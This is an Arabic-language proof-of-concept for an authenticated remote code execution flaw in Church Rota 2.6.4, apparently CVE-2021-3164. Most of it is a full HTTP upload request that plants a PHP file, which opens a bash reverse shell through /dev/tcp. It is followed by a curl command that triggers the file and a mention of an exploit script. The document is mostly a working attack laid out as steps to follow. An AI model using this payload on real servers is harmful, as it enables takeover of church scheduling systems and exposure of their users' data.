
Church Rota الإصدار 2.6.4 عرضة لتنفيذ التعليمات البرمجية عن بُعد بعد المصادقة. لا يحتاج المستخدم إلى امتلاك صلاحية رفع الملفات لرفع وتنفيذ ملف تعسفي. التطبيق مكتوب بشكل أساسي بلغة PHP، لذلك نستخدم PHP في إثبات المفهوم (PoC) الخاص بنا.
الإصدار 2.6.4 من Church Rota عرضة لثغرة تنفيذ تعليمات برمجية عن بُعد بعد المصادقة. لا يحتاج المستخدم إلى صلاحية رفع الملفات لرفع وتنفيذ أي ملف.
بعد تسجيل الدخول إلى Church Rota، أرسل الطلب التالي مع استبدال PHPSESSID بقيمتك الخاصة:
POST /resources.php?action=newsent HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------78920178725041013532564196488
Content-Length: 571
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/resources.php?action=new
Cookie: PHPSESSID=ivaa0ck3snt9ajlm0od9d7lh4j
Upgrade-Insecure-Requests: 1
-----------------------------78920178725041013532564196488
Content-Disposition: form-data; name="resourcename"
exec
-----------------------------78920178725041013532564196488
Content-Disposition: form-data; name="resourcefile"; filename="exec.php"
Content-Type: text/plain
<?php
exec("/bin/bash -c 'bash -i > /dev/tcp/127.0.0.1/1234 0>&1'");
?>
-----------------------------78920178725041013532564196488
Content-Disposition: form-data; name="resourcedescription"
<p>text file upload</p>
-----------------------------78920178725041013532564196488--
يمكن بعد ذلك تنفيذ الملف كما يلي:
curl localhost:80/documents/exec.php
أو بالنقر على الملف ضمن 'resources' في واجهة الويب.
أو ببساطة ثبّت pwntools وrequests باستخدام pip، ثم قم بإعداد وتشغيل سكربت الاستغلال المرفق cve-2021-3164.py.